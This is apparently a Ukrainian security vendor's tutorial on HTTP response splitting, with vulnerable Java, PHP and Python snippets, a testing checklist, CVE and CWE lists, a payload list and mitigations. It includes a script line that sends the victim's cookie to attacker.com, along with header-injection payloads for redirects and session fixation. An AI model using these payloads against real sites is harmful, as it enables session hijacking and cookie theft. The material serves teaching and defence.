21 Лют, 2023

Поділ HTTP-відповіді

Vulnerability Assessment as a Service (VAaaS)

Tests systems and applications for vulnerabilities to address weaknesses.

Поділ HTTP-відповіді це вразливість веб-безпеки, яка дає змогу зловмиснику вводити додаткові HTTP-заголовки і дані у відповідь сервера. Це може призвести до цілого ряду атак, таких як міжсайтовий скриптінг (XSS), отруєння кеша і перехоплення сеансу.

Вразливість виникає, коли веб-додаток неправильно очищає користувальницький введення, що використовується для створення заголовків HTTP-відповіді. Зловмисник може скористатися цим, відправивши спеціально створені вхідні дані, що включають розриви рядків або повернення каретки, які можуть бути інтерпретовані сервером як окремий заголовок або відповідь.

Приклад уразливого коду на різних мовах програмування:


В Java:

				
					String data = request.getParameter("data");
response.addHeader("Set-Cookie", "session-id=" + data);

				
			


У цьому фрагменті коду Java data змінна береться з користувальницького введення і не обробляється належним чином. Зловмисник може надіслати запит зі спеціально створеним data параметр, який містить розриви рядків, які можуть бути інтерпретовані сервером як окремі заголовки.

• В PHP:

				
					$data = $_GET['data'];
header('Set-Cookie: session-id=' . $data);

				
			


Цей фрагмент коду PHP схожий на наведений вище приклад Java. В data змінна береться з $_GET масив і не очищений належним чином. Зловмисник може надіслати запит зі спеціально створеним data параметр, який містить розриви рядків, які можуть бути інтерпретовані сервером як окремі заголовки.

• в Python:

				
					from http.server import HTTPServer, BaseHTTPRequestHandler

class MyHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        data = self.path.split('?')[1]
        self.send_header('Set-Cookie', 'session-id=' + data)
        self.end_headers()

httpd = HTTPServer(('localhost', 8000), MyHandler)
httpd.serve_forever()

				
			


У цьому фрагменті коду Python data змінна береться з рядка запиту запиту GET і не обробляється належним чином. Зловмисник може надіслати запит зі спеціально створеної рядком запиту, що містить розриви рядків, які сервер може інтерпретувати як окремі заголовки.

Приклади використання поділу HTTP відповідей

Приклад 1: Отруєння кеша

Зловмисник може використовувати поділ HTTP-відповіді, щоб впровадити підроблений заголовок cache-control у відповідь сервера. Це може призвести до неправильного кешуванню відповіді проміжним кешем, таким як проксі-сервер або CDN. Потім зловмисник може відправити наступний запит з тим же заголовком, в результаті чого буде повернутий кешовані відповідь і потенційно буде розкрита конфіденційна інформація.

Приклад 2: Міжсайтовий скриптінг (XSS)

Зловмисник може використовувати поділ HTTP-відповіді, щоб впровадити шкідливий скрипт у відповідь сервера. Це може призвести до запуску скрипта браузером користувача, що дозволить зловмиснику вкрасти конфіденційну інформацію або виконати інші шкідливі дії.

Наприклад, зловмисник може ввести у відповідь наступний сценарій:

				
					<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>

				
			


Коли браузер користувача виконує скрипт, він перенаправляє на сайт зловмисника і відправляє файл cookie сеансу користувача в якості параметра.

Приклад 3: Перехоплення сеансу

Зловмисник може використовувати поділ HTTP-відповіді, щоб ввести підроблений ідентифікатор сеансу у відповідь сервера. Це може призвести до того, що браузер користувача буде використати підроблений ідентифікатор сеансу для подальших запитів, дозволяючи перехопити зловмиснику сеанс користувача та виконувати дії від його імені.

Наприклад, зловмисник може ввести у відповідь наступний заголовок:

				
					Set-Cookie: session-id=attacker_session_id\r\nLocation: http://target.com/homepage.html

				
			


Коли браузер користувача слід заголовку Розташування, він буде використовувати ідентифікатор сеансу зловмисника для подальших запитів до цільового сайту.

Методи підвищення привілеїв для Поділ HTTP-відповіді

Перехоплення сеансу

Як я згадував у своєму попередньому відповіді, зловмисник може використовувати поділ HTTP-відповіді, щоб ввести підроблений ідентифікатор сеансу у відповідь сервера. Якщо сервер неправильно перевіряє ідентифікатор сеансу, зловмисник може використовувати підроблений ідентифікатор сеансу, щоб перехопити сеанс користувача та виконувати дії від його імені, включаючи дії, що вимагають підвищених привілеїв.

Міжсайтовий скриптінг (XSS)

Якщо зловмисник може впровадити шкідливий скрипт у відповідь сервера, використовуючи поділ HTTP-відповіді, він потенційно може використовувати цей скрипт для крадіжки файл cookie сеансу користувача або виконання інших дій, що потребують підвищених привілеїв.

Якщо користувач, у якого був вкрадений файл cookie сеансу, має підвищені привілеї, зловмисник може використовувати вкрадений файл cookie для виконання дій від імені жертви, включаючи дії, що вимагають підвищених привілеїв.

Отруєння кеша

Як я згадував раніше, зловмисник може використовувати поділ HTTP-відповіді для введення підробленого заголовка cache-control у відповідь сервера, в результаті чого відповідь буде неправильно кешуватися проміжним кешем.

Якщо кешуючий відповідь містить зміст, який зазвичай доступно тільки користувачам з підвищеними привілеями, зловмисник може отримати це кешований вміст і переглянути його, потенційно отримавши доступ до конфіденційної інформації.

Загальна методологія та контрольний список для поділу HTTP відповідей

Методологія:

  1. Визначте точки входу: Визначте точки входу, де користувальницький введення приймається та обробляється. Ці точки входу включають будь-які параметри або дані, які можуть бути відправлені в HTTP-запиті, такі як параметри запиту, дані форми або файли cookie.

  2. Відправка вхідних даних, які можуть бути використані для написання заголовків: Надішліть вхідні дані в певні точки введення, які включають такі символи, як переведення рядка (\n) або повернення каретки (\r). Ці символи можна використовувати для додавання додаткових заголовків у відповідь.

  3. Перевірте відповідь: Перевірте заголовки відповідей, щоб дізнатися, чи вхідні дані включені в які-небудь заголовки. Якщо вхідні дані були включені в заголовки відповідей, це може вказувати на вразливість до поділу HTTP-відповідей.

  4. Підтвердіть вразливість: Якщо виявлена потенційна уразливість, підтвердьте її, спробувавши ввести заголовок, який може привести до несподіваного поведінки сервера. Наприклад, введення підробленого заголовка "Місцезнаходження", який призводить до перенаправлення користувача на інший сайт, може підтвердити вразливість.

  5. Повідомити про уразливості: Якщо вразливість підтверджена, повідомте про неї відповідним сторонам, щоб її можна було усунути і усунути.

Контрольний список:

  1. Визначте всі місця в додатку, де приймається користувальницький введення, включаючи будь-які параметри, які можуть бути відправлені в HTTP-запиті, такі як параметри запиту, дані форми і файли cookie.

  2. Перевірте кожну точку введення користувача, ввівши дані, що містять символи нового рядка, символи повернення каретки та інші символи. Це може допомогти визначити, чи правильно додаток перевіряє дані, що вводяться користувачем і запобігає атаки з поділом HTTP-відповідей.

  3. Протестуйте додаток, щоб переконатися, що вона правильно очищає вихідні дані, що може допомогти запобігти впровадження зловмисниками шкідливих заголовків у відповідь сервера.

  4. Протестуйте додаток, щоб переконатися, що вона правильно обробляє HTTP-заголовки, включаючи перевірку того, чи правильно вони сформовані і не піддаються маніпуляціям.

  5. Перевірте, чи є додаток вразливим для зараження кешу, відправивши запит, що містить підроблений заголовок cache-control, і перевіривши, неправильно кешується відповідь проміжним кешем.

  6. Перевірте, чи є додаток вразливим для перехоплення сеансу, спробувавши ввести підроблений ідентифікатор сеансу у відповідь і подивитися, чи приймає сервер і пов'язує його з сеансом користувача.

  7. Перевірте, чи є додаток вразливим для міжсайтового скриптинга, спробувавши впровадити шкідливий скрипт у відповідь сервера, використовуючи поділ HTTP-відповіді.

  8. Якщо є підозра на вразливість, підтвердьте її, намагаючись використати її у контрольованому середовищі. Це може допомогти переконатися в тому, що вразливість є реальною, а не хибнопозитивної.

  9. Повідомляйте про будь-яких підтверджених вразливості відповідним сторонам, щоб їх можна було усунути й виправити.

Набір інструментів для експлуатації Поділ HTTP-відповіді

Автоматизовані інструменти:

  • Burp Suite – Популярний інструмент тестування безпеки веб-додатків, який можна використовувати для пошуку і використання вразливостей поділу HTTP-відповідей. Burp Suite може автоматично виявляти і повідомляти про уразливості в веб-додатках, а також включає в себе ряд інструментів ручного тестування.

  • OWASP ZAP – Ще один популярний інструмент тестування безпеки веб-додатків, який включає в себе інструменти автоматичного сканування і ручного тестування. OWASP ZAP може використовуватися для виявлення і використання вразливостей поділу HTTP-відповідей, а також ряду інших вразливостей веб-додатків.

  • Nikto – Сканер веб-додатків з відкритим вихідним кодом, який можна використовувати для виявлення ряду недоліків, включаючи поділ HTTP-відповідей. Nikto може виконувати як ручне, так і автоматичне тестування і генерувати докладні звіти.

  • Acunetix – Сканер безпеки веб-додатків, який можна використовувати для виявлення ряду недоліків, включаючи поділ HTTP-відповідей. Acunetix включає в себе як автоматичні, так і ручні інструменти тестування і може генерувати докладні звіти.

  • Nessus – Сканер вразливостей, який можна використовувати для виявлення ряду недоліків, включаючи поділ HTTP-відповідей. Nessus включає в себе як автоматичні, так і ручні інструменти тестування і може генерувати докладні звіти.

  • OpenVAS – Сканер вразливостей з відкритим вихідним кодом, який можна використовувати для виявлення ряду недоліків, включаючи поділ HTTP-відповідей. OpenVAS включає в себе як автоматичні, так і ручні інструменти тестування і може генерувати докладні звіти.

  • AppSpider – Сканер веб-додатків, який можна використовувати для виявлення ряду недоліків, включаючи поділ HTTP-відповідей. AppSpider включає в себе як автоматичні, так і ручні інструменти тестування і може генерувати докладні звіти.

  • QualysGuard – Хмарний сканер вразливостей, який можна використовувати для виявлення ряду недоліків, включаючи розподіл відповідей HTTP. QualysGuard включає в себе як автоматичні, так і ручні інструменти тестування і може генерувати докладні звіти.

  • IBM AppScan – Сканер безпеки веб-додатків, який можна використовувати для виявлення ряду недоліків, включаючи поділ HTTP-відповідей. IBM AppScan включає в себе як автоматичні, так і ручні засоби тестування і може створювати докладні звіти.

  • WebInspect – Сканер безпеки веб-додатків, який можна використовувати для виявлення ряду недоліків, включаючи поділ HTTP-відповідей. WebInspect включає в себе як автоматичні, так і ручні інструменти тестування і може генерувати докладні звіти.

Ручні Інструменти:

  • cURL – Інструмент командного рядка, який можна використовувати для відправки HTTP-запитів та перевірки вразливостей поділу HTTP-відповідей. cURL можна використовувати для управління HTTP-заголовків і перевірки відповідей сервера.

  • Netcat – Ще один інструмент командного рядка, який можна використовувати для відправки HTTP-запитів та перевірки вразливостей поділу HTTP-відповідей. Netcat можна використовувати для управління HTTP-заголовків і перевірки відповідей сервера.

  • Telnet – Інструмент командного рядка, який можна використовувати для підключення до веб-сервера і ручної відправки HTTP-запитів. Telnet можна використовувати для перевірки вразливостей поділу HTTP відповідей шляхом маніпулювання HTTP-заголовків і перевірки відповідей сервера.

  • Firefox Tamper Data – Плагін для браузера, який можна використовувати для перехоплення і зміни HTTP-запитів і відповідей. Дані несанкціонованого доступу можна використовувати для перевірки вразливостей поділу HTTP відповідей шляхом маніпулювання HTTP-заголовків і перевірки відповідей сервера.

  • Chrome DevTools – Набір інструментів розробника, які можна використовувати для перевірки та налагодження веб-додатків. Chrome DevTools можна використовувати для перевірки вразливостей поділу HTTP відповідей шляхом маніпулювання HTTP-заголовків і перевірки відповідей сервера.

  • BeeF – Платформа для роботи з браузером, яка може використовуватися для перевірки вразливостей поділу HTTP-відповідей в веб-додатках. BeeF може використовуватися для перехоплення і зміни HTTP-запитів і відповідей, а також для виконання інших типів атак.

  • Wget – Інструмент командного рядка, який можна використовувати для вилучення файлів і веб-сторінок з веб-серверів. Wget можна використовувати для перевірки вразливостей поділу HTTP відповідей шляхом маніпулювання HTTP-заголовків і перевірки відповідей сервера.

  • Fiddler – Проксі-сервер для веб-налагодження, який можна використовувати для перехоплення і зміни HTTP-запитів і відповідей. Fiddler можна використовувати для перевірки вразливостей поділу HTTP відповідей шляхом маніпулювання HTTP-заголовків і перевірки відповідей сервера.

  • HTTPDebugger – Проксі-сервер для веб-налагодження, який можна використовувати для перехоплення і зміни HTTP-запитів і відповідей. HTTPDebugger можна використовувати для перевірки вразливостей поділу HTTP відповідей шляхом маніпулювання HTTP-заголовків і перевірки відповідей сервера.

  • OWASP WebScarab – Інструмент тестування веб-додатків, який можна використовувати для перевірки вразливостей поділу HTTP-відповідей, а також ряду інших вразливостей веб-додатків. WebScarab включає в себе як автоматичні, так і ручні інструменти тестування.

  • ModSecurity – Брандмауер веб-додатків, який може використовуватися для виявлення і запобігання атак з поділом HTTP-відповідей. ModSecurity можна налаштувати для перевірки HTTP-заголовків і запобігання попадання будь-яких шкідливих запитів до веб-застосунку.

  • sqlmap – Інструмент, який можна використовувати для виявлення і використання вразливостей SQL-ін'єкцій у веб-додатках. Уразливості SQL-ін'єкцій можуть використовуватися для маніпулювання HTTP відповідями і потенційно запускати атаки з поділом HTTP-відповідей.

  • Metasploit – Платформа тестування на проникнення, яка може використовуватися для перевірки ряду недоліків, включаючи поділ HTTP-відповідей. Metasploit включає в себе ряд інструментів автоматичного і ручного тестування і може генерувати докладні звіти.

Середній бал CVSS Поділ HTTP відповідей стека

Загальна система оцінки вразливостей (CVSS) являє собою стандартизовану систему оцінки серйозності вразливостей в системі безпеки. Оцінка CVSS враховує ряд факторів, включаючи простоту використання, потенційний вплив успішної атаки і доступність виправлення або обхідного шляху.

Оцінка CVSS для уразливості з поділом HTTP-відповіді буде залежати від ряду факторів, включаючи серйозність впливу, якого зловмисник може досягти в результаті успішної атаки, вірогідність успішної експлуатації і складність усунення вразливості.

Оскільки поділ HTTP-відповідей може використовуватися для маніпулювання заголовками HTTP відповідей веб-додатки та їх отруєння, це потенційно може призвести до різних наслідків, таких як перехоплення сеансу, крадіжка даних або впровадження шкідливого коду в браузері жертви.

У цілому, оцінка CVSS для уразливості з поділом HTTP-відповіді, ймовірно, буде середнього або високого ступеня серйозності, залежно від конкретних обставин уразливості. Однак оцінка CVSS може значно змінюватись в залежності від конкретного впливу уразливості, вірогідність успішної експлуатації і простоти пом'якшення наслідків.

Загальна перерахування слабких місць (CWE)

• CWE-113: поділ відповіді HTTP: CWE-113 конкретно описує вразливість поділу відповіді HTTP. Це відбувається, коли зловмисник може ввести символ нового рядка в HTTP-відповідь, що може дозволити йому вводити довільні HTTP-заголовки і потенційно маніпулювати сеансами користувачів або перенаправляти користувачів на шкідливі сайти.

• CWE-807: Залежність від ненадійних вхідних даних при прийнятті рішення про безпеки: цей CWE описує вразливість, яка може виникнути, коли веб-додаток покладається на ненадійні вхідні дані для прийняття рішень щодо безпеки, таких як рішення про надання доступу до ресурсу або вирішенні певної дії. Це може дозволити зловмиснику маніпулювати вхідними даними таким чином, щоб порушити рішення про безпечність та отримати несанкціонований доступ.

• CWE-444: Непослідовна інтерпретація HTTP-запитів ("Контрабанда HTTP-запитів"): цей CWE описує вразливість, при якій веб-додаток непослідовно інтерпретує HTTP-запити, що може призвести до ряду різних експлойтів, включаючи поділ HTTP-відповідей.

• CWE-352: Підробка міжсайтових запитів (CSRF): у цьому CWE описується уразливість, яка виникає, коли веб-додаток неправильно перевіряє запити, що може дозволити зловмиснику виконувати несанкціоновані запити від імені користувача-жертви.

• CWE-613: Недостатній термін дії сеансу: цей CWE описує уразливість, яка виникає, коли веб-додаток неправильно керує сеансами користувачів, що може дозволити зловмиснику перехопити активний сеанс користувача та отримати несанкціонований доступ до веб-додатком.

• CWE-614: конфіденційний файл cookie сеансу HTTPS без атрибуту 'Secure': цей CWE описує уразливість, яка виникає, коли веб-додаток неправильно встановлює атрибут 'secure' для конфіденційних файлів cookie, що може дозволити зловмиснику перехопити і вкрасти файл cookie атаки "людина посередині".

• CWE-522: Недостатньо захищені облікові дані: цей CWE описує уразливість, яка виникає, коли веб-додаток не захищає належним чином облікові дані користувача, такі як паролі або інші секретні дані. Це може дозволити зловмиснику вкрасти або вгадати облікові дані і отримати несанкціонований доступ до веб-додатком.

• CWE-319: Передача конфіденційної інформації відкритим текстом: цей CWE описує уразливість, яка виникає, коли конфіденційна інформація передається відкритим текстом без шифрування, що може дозволити зловмиснику перехопити і вкрасти інформацію.

Топ-10 CVE, пов'язаних з поділом HTTP відповідей

• CVE-2022-42472 – Неправильна нейтралізація послідовності crlf в заголовках http ("поділ http-відповіді') в Fortinet FortiOS версій з 7.2.0 за 7.2.2, з 7.0.0 за 7.0.8, з 6.4.0 за 6.4.11, з 6.2.0 за 6.2.12, з 6.0.0 за 6.0.16, FortiProxy з 7.2.0 за 7.2.1, з 7.0.0 за 7.0.7, з 2.0.0 за 2.0.10, з 1.2.0 за 1.2.13, з 1.1.0 за 1.1.6 може дозволити аутентифікованим і віддаленого зловмисникові виконати атаку з поділом HTTP-запиту, яка дає зловмисникам контроль над рештою заголовками і тілом відповіді.

• CVE-2022-42471 – Вразливість неправильної нейтралізації послідовності CRLF в заголовках HTTP ('Поділ відповіді HTTP') [CWE-113] В FortiWeb версій з 7.0.0 за 7.0.2, FortiWeb версій з 6.4.0 за 6.4.2, FortiWeb версій з 6.3.6 за 6.3.20 може дозволити аутентифікованим і віддаленого зловмиснику вводити довільні заголовки.

• CVE-2022-41915 – Netty project is an event-driven asynchronous network application framework. Starting in version 4.1.83.Final and prior to 4.1.86.Final, when calling `DefaultHttpHeadesr.set` with an _iterator_ of values, header value validation was not performed, allowing malicious header values in the iterator to perform HTTP Response Splitting. This issue has been patched in version 4.1.86.Final. Integrators can work around the issue by changing the `DefaultHttpHeaders.set(CharSequence, Iterator<?>)` call, into a `remove()` call, and call `add()` in a loop over the iterator of values.

• CVE-2022-37953 – An HTTP response splitting vulnerability exists in the AM Gateway Challenge-Response dialog of WorkstationST (<v07.09.15) and could allow an attacker to compromise a victim’s browser/session. WorkstationST is only deployed in specific, controlled environments rendering attack complexity significantly higher than if the attack were conducted on the software in isolation. WorkstationST v07.09.15 can be found in ControlST v07.09.07 SP8 and greater.

• CVE-2022-37242 – MDaemon Technologies SecurityGateway для поштових серверів 8.5.2, вразливий для поділу HTTP-відповіді з допомогою параметра data.

• CVE-2022-37240 – MDaemon Technologies SecurityGateway для поштових серверів 8.5.2 вразливий для поділу HTTP-відповіді з допомогою параметра format.

• CVE-2022-20772 – Уразливість в Cisco Email Security Appliance (ESA) і Cisco Secure Email and Web Manager може дозволити віддаленого зловмиснику, який не пройшов перевірку автентичності, провести атаку з поділом HTTP-відповіді. Ця вразливість виникає через нездатність додатка або його середовища належним чином очистити вхідні значення. Зловмисник може скористатися цією уразливістю, впровадивши шкідливі HTTP-заголовки, керуючи тілом відповіді або розділивши відповідь на кілька відповідей.

• CVE-2021-45818 – SAFARI Montage 8.7.32 схильний уразливості впровадження CRLF, яка може призвести до розділення HTTP-відповіді.

• CVE-2021-41437 – Атака з поділом HTTP-відповіді у веб-додатку в ASUS RT-AX88U до версії v3.0.0.4.388.20558 дозволяє зловмисникові створити певний URL-адресу, який, якщо його відвідає аутентифицированная жертва, надасть доступ до хмарному сховища зловмисника.

• CVE-2021-41084 – http4s - це інтерфейс scala з відкритим вихідним кодом для HTTP. В порушених версіях http4s уразливим для атак з поділом відповідей або запитів, коли для створення будь-якого з наступних полів використовується ненадійний користувальницький введення: Імена заголовків`Header.name `å), значення заголовка (`Header.value`), фрази причини стану (`Status.reason`), Шляхи URI (`Uri.Path`), зареєстрованих імен URI authority (`URI.RegName`) (через 0.21). Ця проблема була вирішена у версіях 0.21.30, 0.22.5, 0.23.4 і 1.0.0-M27 виконайте такі дії. На практиці служби http4s і клієнтські додатки повинні очищати будь користувальницький введення в вищезазначені поля, перш ніж повертати запит або відповідь серверної частини. Повернення каретки, символ нового рядка і нульові символи є найбільш небезпечними.

Поділ HTTP-відповіді подвиги

  • Впровадження заголовка HTTP-відповіді: Цей експлойт включає впровадження шкідливих заголовків HTTP-відповідей у відповідь веб-додатки, що може дозволити зловмиснику перехоплювати сеанси користувачів або перенаправляти користувачів на шкідливі сайти.

  • Отруєння кеша: Цей експлойт включає в себе маніпулювання заголовками HTTP-відповідей для отруєння кеша веб-додатки. Це може дозволити зловмиснику використовувати шкідливий контент з кешу, потенційно ставлячи під загрозу безпеку веб-додатки.

  • Контрабанда HTTP-запитів: Цей експлойт використовує переваги непослідовного аналізу HTTP-запитів інтерфейсними і серверними серверами. Він включає в себе вставку шахрайського HTTP-запиту в законний запит, що може дозволити зловмиснику обійти засоби контролю безпеки і виконувати несанкціоновані дії.

  • Ін'єкція печива: Цей експлойт включає в себе впровадження шкідливого файлу cookie у відповідь веб-додатку, який може дозволити зловмиснику перехоплювати сеанси користувачів або красти конфіденційну інформацію.

  • Маніпулювання URL-адресами: Цей експлойт включає в себе маніпулювання URL-адреса веб-додатки для впровадження шкідливого коду в заголовки HTTP-відповідей, що може дозволити зловмиснику перехоплювати сеанси користувачів або перенаправляти користувачів на шкідливі сайти.

  • Міжсайтовий скриптінг (XSS): Хоча XSS не має прямого відношення до розподілу відповідей HTTP, він може використовуватися в поєднанні з розподілом відповідей HTTP для впровадження шкідливого коду в заголовки відповідей веб-додатки.

Практикуючись в тестуванні на Поділ HTTP-відповіді

  1. Визначте додаток або веб-сервер, який ви хочете протестувати на поділ HTTP-відповідей.

  2. Визначте точки входу в додаток, такі як поля введення або URL-адреси.

  3. Відправте запит в додаток, який містить параметр або поле введення, вразливе для поділу HTTP-відповіді.

  4. Проаналізуйте заголовки HTTP-відповіді, щоб дізнатися, чи є які-небудь додаткові заголовки, які були введені зловмисником.

  5. Якщо виявлені додаткові заголовки, спробуйте маніпулювати ними, щоб дізнатися, чи можна перехопити сеанс користувача або перенаправити його на шкідливий сайт.

  6. Повторіть цей процес з іншими полями введення і параметрами, щоб дізнатися, чи зможете ви виявити інші уразливості.

Для вивчення Розподілу HTTP відповідей

OWASP Топ-10: це список найбільш критичних загроз безпеки веб-додатків, і поділ HTTP відповідей включено в цей список. Веб-сайт OWASP містить детальну інформацію про уразливість і способи їх запобігання.

Керівництво хакера веб-додатків: Ця книга являє собою всеосяжне керівництво з безпеки веб-додатків і включає в себе главу про поділ HTTP-відповідей. У ньому міститься докладна інформація про те, як працює вразливість, а також методи її тестування і використання.

Онлайн-курси: Існує безліч доступних онлайн-курсів, присвячених безпеки веб-додатків і, зокрема, поділу відповідей HTTP. Деякі популярні варіанти включають курс тестування веб-додатків на проникнення на Udemy і курс етичного злому на Coursera.

Онлайн-навчальні посібники і керівництва: Існує безліч онлайн-керівництв і посібників, присвячених розподілу відповідей HTTP та іншим вразливостей веб-додатків. Веб-сайт OWASP надає широкий спектр ресурсів, включаючи навчальні посібники та шпаргалки.

Конференції та семінари: Відвідування конференцій та семінарів з безпеки веб-додатків може стати відмінним способом дізнатися більше про поділ HTTP-відповідей та інших вразливості. Деякі популярні заходи включають конференції Black Hat, DEF CON і OWASP.

Книги з оглядом поділу HTTP відповідей

"Керівництво хакера веб-додатків: пошук і використання недоліків безпеки" Дэфидд Штуттард і Маркус Пінто – Ця книга являє собою всеосяжне керівництво з безпеки веб-додатків, включаючи розподіл відповідей HTTP.

"Заплутана мережа: керівництво по забезпеченню безпеки сучасних веб-додатків" Михайло Залевський – У цій книзі представлений детальний огляд безпеки веб-додатків, включаючи ризики поділу HTTP-відповідей.

"Зламані веб-додатки: Секрети і рішення безпеки веб-додатків" автор: Джоел Скамбрей, Майк Шема і Калеб Сіма – Ця книга являє собою всеосяжне керівництво з безпеки веб-додатків, включаючи розподіл відповідей HTTP.

"Веб-безпека для розробників: реальні загрози, практична захист" Малкольм Макдональд і Джеймс Д. Браун – Ця книга являє собою практичне керівництво з безпеки веб-додатків, включаючи поділ HTTP-відповідей.

"Мистецтво оцінки безпеки програмного забезпечення: запобігання та виявлення вразливостей програмного забезпечення" автор: Марк Дауд, Джон Макдональд і Джастін Шух – Ця книга являє собою всеосяжне керівництво з безпеки програмного забезпечення, включаючи безпеку веб-додатків і поділ HTTP-відповідей.

"Куленепробивний SSL і TLS: розуміння і розгортання SSL / TLS і PKI для захисту серверів і веб-додатків" Іван Рістіч – У цій книзі міститься докладний посібник з безпеки SSL / TLS, в тому числі про те, як запобігти атаки з поділом HTTP-відповідей.

"Основи веб-злому: інструменти і методи для атаки в Інтернеті" автор: Джош Паулі – Ця книга являє собою керівництво для початківців по злому веб-додатків, включаючи поділ HTTP-відповідей.

"Кулінарна книга захисника веб-додатків: боротьба з хакерами і захист користувачів" Райан К. Барнетт – Ця книга являє собою практичне керівництво з безпеки веб-додатків, включаючи поділ HTTP-відповідей.

"Освоєння сучасного веб-тестування на проникнення" автор: Пракхар Прасад – Ця книга являє собою всеосяжне керівництво по тестуванню безпеки веб-додатків, в тому числі щодо виявлення та використання вразливостей, пов'язаних з поділом HTTP-відповідей.

"Розширене тестування веб-додатків на проникнення за допомогою Burp Suite" автор: Sunny Wear – Ця книга являє собою практичне керівництво з тестування веб-додатків на проникнення з використанням Burp Suite, в тому числі по тестуванню вразливостей поділу HTTP-відповідей.

Список корисних навантажень Поділ HTTP відповідей

  • – це подання послідовності CRLF в кодуванні URL, яке використовується для створення нових рядків у заголовках HTTP. Він зазвичай використовується в атаках з поділом HTTP-відповідей.

  • Content-Довжина: 0 – Ця корисна навантаження може використовуватися для створення пустого відповіді, який завершує початковий відповідь і створює новий HTTP-відповідь.

  • Set-Cookie: session_id=зловмисник – ця корисна навантаження може використовуватися для встановлення нового значення cookie сеансу жертви, дозволяючи перехопити зловмиснику сеанс.

  • Refresh: 0;url=http://attacker.com – Ця корисна навантаження може бути використана для перенаправлення жертви на шкідливий веб-сайт.

  • %0 Розташування: http://attacker.com – Ця корисна навантаження може бути використана для перенаправлення жертви на шкідливий веб-сайт.

  • X-XSS-Protection: 0 – Ця корисна навантаження може використовуватися для відключення XSS-захисту жертви в браузері, полегшуючи зловмиснику запуск додаткових атак.

  • Content-Type: text / html – ця корисна навантаження може використовуватися для зміни типу вмісту відповіді, дозволяючи зловмиснику вводити HTML або інший шкідливий вміст.

  • Set-Cookie: session_id=зловмисник; HttpOnly – ця корисна навантаження може використовуватися для встановлення нового значення cookie сеансу жертви з встановленим прапором HttpOnly для запобігання доступу JavaScript коржиків.

  • Set-Cookie: session_id= зловмисник; Безпечний – ця корисна навантаження може використовуватися для встановлення нового значення cookie сеансу жертви з встановленим прапором Secure, щоб запобігти передачі cookie за незашифрованим з'єднанням.

  • User-Agent: Mozilla / 5.0 (Windows NT 10.0; Win64; x64) AppleWebKit / 537.36 (KHTML, як Gecko) Chrome / 58.0.3029.110 Safari / 537.3 – ця корисна навантаження може використовуватися для зміни заголовка користувальницького агента відповіді, дозволяючи зловмиснику обійти певні перевірки безпеки або фільтри.

Як бути захищеним від поділу HTTP відповідей

  1. Оновлюйте програмне забезпечення та додатки вашого веб-сервера з допомогою останніх виправлень безпеки.

  2. Використовуйте методи безпечного кодування при розробці веб-додатків і уникайте використання користувальницьких вхідних даних безпосередньо у заголовках HTTP.

  3. Вбудуйте перевірку та очищення вхідних даних, щоб запобігти впровадження шкідливих даних в HTTP-заголовки.

  4. Використовуйте брандмауер веб-додатків (WAF) для фільтрації шкідливого трафіку і блокування відомих атак з поділом HTTP-відповідей.

  5. Включіть і використовуйте прапори Secure і HttpOnly для файлів cookie, щоб запобігти захопленню файлів cookie та інші атаки.

  6. Використовуйте HTTPS для шифрування повідомлень між клієнтом і сервером і уникайте змішування трафіку HTTP і HTTPS.

  7. Використовуйте політики безпеки вмісту (CSP) для управління джерелами вмісту, яке може бути завантажене з веб-сторінки, і для запобігання виконання шкідливих сценаріїв.

  8. Регулярно перевіряйте свої веб-додатки на наявність вразливостей і слабких місць за допомогою автоматичних інструментів або ручного тестування.

  9. Вбудуйте належні методи управління сеансами, такі як тайм-аути сеансів і регенерація, щоб знизити ризик перехоплення сеансу.

  10. Навчайте розробників та інші зацікавлені сторони ризиків і передовим методам, пов'язаним з розподілом відповідей HTTP, а також регулярно переглядайте і оновлюйте політики і процедури безпеки, щоб переконатися, що вони залишаються ефективними.

Заходи по пом'якшенню наслідків поділу HTTP відповідей

  1. Переконайтеся, що користувальницький введення правильно відформатований і не містить яких-небудь шкідливих даних, перш ніж використовувати його в заголовках HTTP.

  2. Правильно кодуйте всі вихідні дані, щоб запобігти потраплянню шкідливих даних в HTTP-заголовки.

  3. Уникайте використання користувальницьких вхідних даних безпосередньо у заголовках HTTP.

  4. WAF може фільтрувати шкідливий трафік і блокувати відомі атаки з поділом HTTP-відповідей.

  5. Ці прапори допомагають запобігти захопленню файлів cookie та інші атаки.

  6. Протокол HTTPS шифрує повідомлення між клієнтом і сервером і допомагає запобігти перехоплення або зміна трафіку зловмисниками.

  7. CSP контролює джерела контенту, який може бути завантажений на веб-сторінку, і допомагає запобігти виконання шкідливих сценаріїв.

  8. Вбудуйте належні методи управління сеансами, такі як тайм-аути сеансів і регенерація, щоб знизити ризик перехоплення сеансу.

  9. Використовуйте автоматичні інструменти або ручне тестування для регулярної перевірки веб-додатків на наявність вразливостей і слабких місць.

  10. Застосовуйте це виправлення та оновлення безпеки для забезпечення безпеки програмного забезпечення і додатків веб-сервера.

Висновок

Поділ HTTP-відповіді це вразливість веб-програми, яка дозволяє зловмисникові вводити довільні HTTP-заголовки у відповідь веб-сервера. Це може призвести до цілого ряду атак, таких як перехоплення сеансу, перехоплення файлів cookie та фішинг.

Атаки з поділом HTTP-відповідей можна запобігти, дотримуючись методів безпечного кодування, перевірки вхідних даних, кодування вихідних даних і реалізації брандмауерів веб-додатків, методів безпечного керування сеансами і використання HTTPS. Регулярне сканування веб-додатків на наявність вразливостей і слабких місць, а також оновлення програмного забезпечення і додатків веб-сервера за допомогою виправлень безпеки також є важливими заходами щодо усунення цієї уразливості.

Розробникам та адміністраторам сайтів важливо знати про ризики, пов'язані з поділом відповідей HTTP, і приймати відповідні заходи для захисту від цієї уразливості. Впроваджуючи відповідні заходи безпеки, організації можуть знизити ризик атак з поділом відповідей HTTP і захистити свої веб-додатків і користувачів від шкоди.

Інші Послуги

Готові до безпеки?

зв'язатися з нами